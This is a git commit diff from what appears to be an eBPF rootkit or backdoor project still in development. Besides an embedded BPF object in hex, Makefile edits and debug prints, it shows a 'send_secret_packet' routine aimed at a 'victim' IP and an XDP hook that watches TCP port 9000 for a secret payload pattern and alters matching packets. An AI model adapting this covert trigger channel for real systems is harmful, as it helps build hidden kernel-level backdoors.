\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x37\0\x78\x64\x70\x5f\x72\
|
||||
\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x38\0\x78\x64\x70\
|
||||
\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x39\0\x2e\
|
||||
\x72\x6f\x64\x61\x74\x61\0\x6c\x69\x63\x65\x6e\x73\x65\0\x9f\xeb\x01\0\x20\0\0\
|
||||
\0\0\0\0\0\x14\0\0\0\x14\0\0\0\xdc\x02\0\0\xf0\x02\0\0\0\0\0\0\x08\0\0\0\x75\0\
|
||||
\0\0\x01\0\0\0\0\0\0\0\x07\0\0\0\x10\0\0\0\x75\0\0\0\x2d\0\0\0\0\0\0\0\x7e\0\0\
|
||||
\0\xaa\0\0\0\x29\xe4\0\0\x08\0\0\0\x7e\0\0\0\xdc\0\0\0\x25\xe8\0\0\x10\0\0\0\
|
||||
\x7e\0\0\0\x06\x01\0\0\x15\x08\x01\0\x20\0\0\0\x7e\0\0\0\x06\x01\0\0\x09\x08\
|
||||
\x01\0\x28\0\0\0\x7e\0\0\0\x36\x01\0\0\x08\x18\x01\0\x30\0\0\0\x7e\0\0\0\x6c\
|
||||
\x01\0\0\x09\x1c\x01\0\x50\0\0\0\x7e\0\0\0\x96\x01\0\0\x14\x30\x01\0\x60\0\0\0\
|
||||
\x7e\0\0\0\x96\x01\0\0\x09\x30\x01\0\x68\0\0\0\x7e\0\0\0\xc4\x01\0\0\x09\x34\
|
||||
\x01\0\x80\0\0\0\x7e\0\0\0\xdd\x01\0\0\x0d\x44\x01\0\x88\0\0\0\x7e\0\0\0\xdd\
|
||||
\x01\0\0\x09\x44\x01\0\x90\0\0\0\x7e\0\0\0\x03\x02\0\0\x09\x48\x01\0\xa8\0\0\0\
|
||||
\x7e\0\0\0\x1c\x02\0\0\x15\x5c\x01\0\xb8\0\0\0\x7e\0\0\0\x1c\x02\0\0\x09\x5c\
|
||||
\x01\0\xc0\0\0\0\x7e\0\0\0\x4c\x02\0\0\x09\x60\x01\0\xd8\0\0\0\x7e\0\0\0\x65\
|
||||
\x02\0\0\x0e\x70\x01\0\xe0\0\0\0\x7e\0\0\0\x65\x02\0\0\x09\x70\x01\0\xe8\0\0\0\
|
||||
\x7e\0\0\0\x88\x02\0\0\x09\x74\x01\0\0\x01\0\0\x7e\0\0\0\xa1\x02\0\0\x2f\x84\
|
||||
\x01\0\x08\x01\0\0\x7e\0\0\0\xa1\x02\0\0\x34\x84\x01\0\x18\x01\0\0\x7e\0\0\0\
|
||||
\xa1\x02\0\0\x14\x84\x01\0\x28\x01\0\0\x7e\0\0\0\xa1\x02\0\0\x27\x84\x01\0\x30\
|
||||
\x01\0\0\x7e\0\0\0\xa1\x02\0\0\x40\x84\x01\0\x38\x01\0\0\x7e\0\0\0\xa1\x02\0\0\
|
||||
\x44\x84\x01\0\x48\x01\0\0\x7e\0\0\0\xa1\x02\0\0\x39\x84\x01\0\x50\x01\0\0\x7e\
|
||||
\0\0\0\xea\x02\0\0\x09\x94\x01\0\x58\x01\0\0\x7e\0\0\0\x1f\x03\0\0\x09\x98\x01\
|
||||
\0\x70\x01\0\0\x7e\0\0\0\0\0\0\0\0\0\0\0\x78\x01\0\0\x7e\0\0\0\x38\x03\0\0\x19\
|
||||
\xac\x01\0\x88\x01\0\0\x7e\0\0\0\x38\x03\0\0\x09\xac\x01\0\x90\x01\0\0\x7e\0\0\
|
||||
\0\x6c\x03\0\0\x09\xb0\x01\0\xa8\x01\0\0\x7e\0\0\0\x85\x03\0\0\x05\xc0\x01\0\
|
||||
\xd8\x01\0\0\x7e\0\0\0\xe6\x03\0\0\x0d\xcc\x01\0\xe0\x01\0\0\x7e\0\0\0\xe6\x03\
|
||||
\0\0\x0d\xcc\x01\0\xe8\x01\0\0\x7e\0\0\0\xe6\x03\0\0\x0d\xcc\x01\0\xf0\x01\0\0\
|
||||
\x7e\0\0\0\xe6\x03\0\0\x0d\xcc\x01\0\xf8\x01\0\0\x7e\0\0\0\x13\x04\0\0\x0d\xd0\
|
||||
\x01\0\x08\x02\0\0\x7e\0\0\0\0\0\0\0\0\0\0\0\x18\x02\0\0\x7e\0\0\0\x30\x04\0\0\
|
||||
\x01\x18\x02\0\x28\x02\0\0\x7e\0\0\0\xe6\x03\0\0\x0d\xcc\x01\0\x30\x02\0\0\x7e\
|
||||
\0\0\0\xe6\x03\0\0\x0d\xcc\x01\0\x38\x02\0\0\x7e\0\0\0\xe6\x03\0\0\x0d\xcc\x01\
|
||||
\0\x40\x02\0\0\x7e\0\0\0\xe6\x03\0\0\x0d\xcc\x01\0\x48\x02\0\0\x7e\0\0\0\x32\
|
||||
\x04\0\0\x05\xe4\x01\0\x70\x02\0\0\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\x17\0\0\0\xe0\x02\0\0\0\0\0\0\0\0\0\0\x17\0\0\0\xf0\x02\0\0\0\0\0\0\0\0\0\0\
|
||||
\x17\0\0\0\0\x03\0\0\0\0\0\0\0\0\0\0\x17\0\0\0\x20\x1f\x0e\x0f\x10\x11\x12\x13\
|
||||
\x14\x15\x16\x17\0\x2e\x74\x65\x78\x74\0\x2e\x72\x65\x6c\x2e\x42\x54\x46\x2e\
|
||||
\x65\x78\x74\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\
|
||||
\x66\x6d\x74\0\x2e\x72\x65\x6c\x78\x64\x70\x5f\x70\x72\x6f\x67\0\x2e\x6c\x6c\
|
||||
\x76\x6d\x5f\x61\x64\x64\x72\x73\x69\x67\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\
|
||||
\x76\x65\0\x6c\x69\x63\x65\x6e\x73\x65\0\x2e\x73\x74\x72\x74\x61\x62\0\x2e\x73\
|
||||
\x79\x6d\x74\x61\x62\0\x2e\x72\x6f\x64\x61\x74\x61\0\x2e\x72\x65\x6c\x2e\x42\
|
||||
\x54\x46\0\x4c\x49\x43\x45\x4e\x53\x45\0\x4c\x42\x42\x30\x5f\x39\0\x4c\x42\x42\
|
||||
\x30\x5f\x31\x39\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\
|
||||
\x5f\x66\x6d\x74\x2e\x39\0\x4c\x42\x42\x30\x5f\x31\x38\0\x78\x64\x70\x5f\x72\
|
||||
\x65\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x38\0\x4c\x42\x42\
|
||||
\x30\x5f\x37\0\x4c\x42\x42\x30\x5f\x31\x37\0\x78\x64\x70\x5f\x72\x65\x63\x65\
|
||||
\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x37\0\x78\x64\x70\x5f\x72\x65\
|
||||
\x63\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x36\0\x4c\x42\x42\x30\
|
||||
\x5f\x35\0\x4c\x42\x42\x30\x5f\x31\x35\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\
|
||||
\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x35\0\x78\x64\x70\x5f\x72\x65\x63\
|
||||
\x65\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x34\0\x4c\x42\x42\x30\x5f\
|
||||
\x33\0\x4c\x42\x42\x30\x5f\x31\x33\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\
|
||||
\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x33\0\x78\x64\x70\x5f\x72\x65\x63\x65\
|
||||
\x69\x76\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x32\0\x4c\x42\x42\x30\x5f\x32\
|
||||
\x31\0\x4c\x42\x42\x30\x5f\x31\x31\0\x78\x64\x70\x5f\x72\x65\x63\x65\x69\x76\
|
||||
\x65\x2e\x5f\x5f\x5f\x5f\x66\x6d\x74\x2e\x31\0\x4c\x42\x42\x30\x5f\x32\x30\0\0\
|
||||
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
|
||||
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\x01\0\0\0\x06\0\
|
||||
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x40\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
|
||||
\x04\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x2c\0\0\0\x01\0\0\0\x06\0\0\0\0\0\0\0\0\0\0\
|
||||
\0\0\0\0\0\x40\0\0\0\0\0\0\0\x80\x02\0\0\0\0\0\0\0\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\0\0\0\0\0\xb0\0\0\0\0\0\0\0\x07\0\0\0\x05\0\0\0\x08\0\0\0\0\0\0\0\
|
||||
\x10\0\0\0\0\0\0\0\x07\0\0\0\x09\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x48\x12\
|
||||
\0\0\0\0\0\0\xe0\x02\0\0\0\0\0\0\x07\0\0\0\x06\0\0\0\x08\0\0\0\0\0\0\0\x10\0\0\
|
||||
\0\0\0\0\0\x35\0\0\0\x03\x4c\xff\x6f\0\0\0\x80\0\0\0\0\0\0\0\0\0\0\0\0\x28\x15\
|
||||
\0\0\0\0\0\0\x0c\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
|
||||
\0\x57\0\0\0\x03\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x34\x15\0\0\0\0\0\0\xa2\
|
||||
\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
|
||||
|
||||
return 0;
|
||||
err:
|
||||
|
||||
@@ -8,6 +8,7 @@ LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a)
|
||||
VMLINUX := ./vmlinux/newvmlinux.h
|
||||
USER := user
|
||||
EBPF := ebpf
|
||||
COMMON_INCLUDES := -I$(abspath ./include)
|
||||
# Use our own libbpf API headers and Linux UAPI headers distributed with
|
||||
# libbpf to avoid dependency on system-wide headers, which could be missing or
|
||||
# outdated
|
||||
@@ -16,7 +17,7 @@ INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I/lib/modules/5.11.0-40-generic
|
||||
CFLAGS := -g -Wall #-I/lib/modules/5.11.0-40-generic/build/include
|
||||
ARCH := $(shell uname -m | sed 's/x86_64/x86/')
|
||||
|
||||
APPS = xdp_filter bootstrap
|
||||
APPS = xdp_filter
|
||||
|
||||
# Get Clang's default includes on this system. We'll explicitly add these dirs
|
||||
# to the includes list when compiling with `-target bpf` because otherwise some
|
||||
@@ -66,7 +67,7 @@ $(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPU
|
||||
# Build BPF code
|
||||
$(OUTPUT)/%.bpf.o: $(EBPF)/%.bpf.c $(LIBBPF_OBJ) $(wildcard $(EBPF)/%.h) | $(OUTPUT)
|
||||
$(call msg,BPF,$@)
|
||||
$(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) -c $(filter %.c,$^) -o $@
|
||||
$(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) $(INCLUDES) $(COMMON_INCLUDES) $(CLANG_BPF_SYS_INCLUDES) -c $(filter %.c,$^) -o $@
|
||||
$(Q)$(LLVM_STRIP) -g $@ # strip useless DWARF info
|
||||
|
||||
# Generate BPF skeletons
|
||||
@@ -79,7 +80,7 @@ $(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h
|
||||
|
||||
$(OUTPUT)/%.o: $(USER)/%.c $(wildcard $(USER)/%.h) | $(OUTPUT)
|
||||
$(call msg,CC,$@)
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter $(USER)/%.c,$^) -o $@
|
||||
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -o $@
|
||||
|
||||
# Build application binary
|
||||
$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT)
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -119,6 +119,8 @@ char* getLocalIpAddress(){
|
||||
}*/
|
||||
|
||||
void send_secret_packet(char* argv){
|
||||
//TODO revise this, in wireshark it is seen not to be a TCP packet??????
|
||||
//Should be working, it did in other projects
|
||||
char* local_ip = getLocalIpAddress();
|
||||
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
|
||||
check_ip_address_format(argv);
|
||||
|
||||
@@ -22,6 +22,7 @@
|
||||
|
||||
#include "../user/xdp_filter.h"
|
||||
#include "../constants/constants.h"
|
||||
#include "../include/packet_manager.h"
|
||||
|
||||
|
||||
char LICENSE[] SEC("license") = "Dual BSD/GPL";
|
||||
@@ -47,10 +48,11 @@ struct eth_hdr {
|
||||
unsigned short h_proto;
|
||||
};
|
||||
|
||||
|
||||
SEC("xdp_prog")
|
||||
int xdp_receive(struct xdp_md *ctx)
|
||||
{
|
||||
bpf_printk("BPF triggered\n");
|
||||
//bpf_printk("BPF triggered\n");
|
||||
|
||||
void *data_end = (void *)(long)ctx->data_end;
|
||||
void *data = (void *)(long)ctx->data;
|
||||
@@ -58,51 +60,66 @@ int xdp_receive(struct xdp_md *ctx)
|
||||
unsigned int payload_size, i;
|
||||
struct ethhdr *eth = data;
|
||||
unsigned char *payload;
|
||||
struct udphdr *udp;
|
||||
struct tcphdr *tcp;
|
||||
struct iphdr *ip;
|
||||
|
||||
/*struct event *rb_event;
|
||||
|
||||
Reserve a ring buffer event from BPF ringbuf to be filled later*/
|
||||
/*rb_event = bpf_ringbuf_reserve(&rb, sizeof(struct event), 0);
|
||||
if (!rb_event)
|
||||
return 0;*/
|
||||
|
||||
if ((void *)eth + sizeof(*eth) > data_end)
|
||||
if ((void *)eth + sizeof(*eth) > data_end){
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
if(ethernet_header_bound_check(eth, data_end)<0){
|
||||
bpf_printk("Bound check fail A");
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
ip = data + sizeof(*eth);
|
||||
if ((void *)ip + sizeof(*ip) > data_end)
|
||||
return XDP_PASS;
|
||||
if ((void *)ip + sizeof(*ip) > data_end){
|
||||
bpf_printk("B");
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
if (ip->protocol != IPPROTO_UDP)
|
||||
if (ip->protocol != IPPROTO_TCP){
|
||||
bpf_printk("C");
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
udp = (void *)ip + sizeof(*ip);
|
||||
if ((void *)udp + sizeof(*udp) > data_end)
|
||||
tcp = (void *)ip + sizeof(*ip);
|
||||
if ((void *)tcp + sizeof(*tcp) > data_end){
|
||||
bpf_printk("D");
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
if (udp->dest != ntohs(5005))
|
||||
if (tcp->dest != ntohs(9000)){
|
||||
bpf_printk("E");
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
payload = (void *)tcp + tcp->doff*4;
|
||||
|
||||
payload_size = ntohs(udp->len) - sizeof(*udp);
|
||||
// Here we use "size - 1" to account for the final '\0' in "test".
|
||||
// This '\0' may or may not be in your payload, adjust if necessary.
|
||||
if (payload_size != sizeof(match_pattern) - 1)
|
||||
if (payload_size != sizeof(match_pattern) - 1) {
|
||||
bpf_printk("F");
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
// Point to start of payload.
|
||||
payload = (unsigned char *)udp + sizeof(*udp);
|
||||
if ((void *)payload + payload_size > data_end)
|
||||
if ((void *)payload + payload_size > data_end){
|
||||
bpf_printk("G");
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
|
||||
bpf_printk("Received valid TCP packet with payload %s of size %i\n", payload, payload_size);
|
||||
// Compare each byte, exit if a difference is found.
|
||||
for (i = 0; i < payload_size; i++)
|
||||
if (payload[i] != match_pattern[i])
|
||||
if (payload[i] != match_pattern[i]){
|
||||
bpf_printk("H");
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
|
||||
bpf_printk("BPF finished\n ");
|
||||
payload[1] = 'b';
|
||||
/*if(!payload){
|
||||
bpf_probe_read_str(&rb_event->payload, sizeof(rb_event->payload), (void *)payload);
|
||||
bpf_ringbuf_submit(rb_event, 0);
|
||||
@@ -112,8 +129,8 @@ int xdp_receive(struct xdp_md *ctx)
|
||||
bpf_ringbuf_submit(rb_event, 0);
|
||||
}*/
|
||||
|
||||
// Same payload as expected one received, drop.
|
||||
return XDP_DROP;
|
||||
// Same payload as secret one reeceived, pass it with modifications.
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
|
||||
|
||||
13
src/include/packet_manager.h
Normal file
13
src/include/packet_manager.h
Normal file
@@ -0,0 +1,13 @@
|
||||
#ifndef __PACKET_MANAGER_H__
|
||||
#define __PACKET_MANAGER_H__
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/if_ether.h>
|
||||
|
||||
static __always_inline int ethernet_header_bound_check(struct ethhdr *eth, void* data_end){
|
||||
if ((void *)eth + sizeof(struct ethhdr) > data_end){
|
||||
return -1;
|
||||
}
|
||||
return 0; //OK
|
||||
}
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user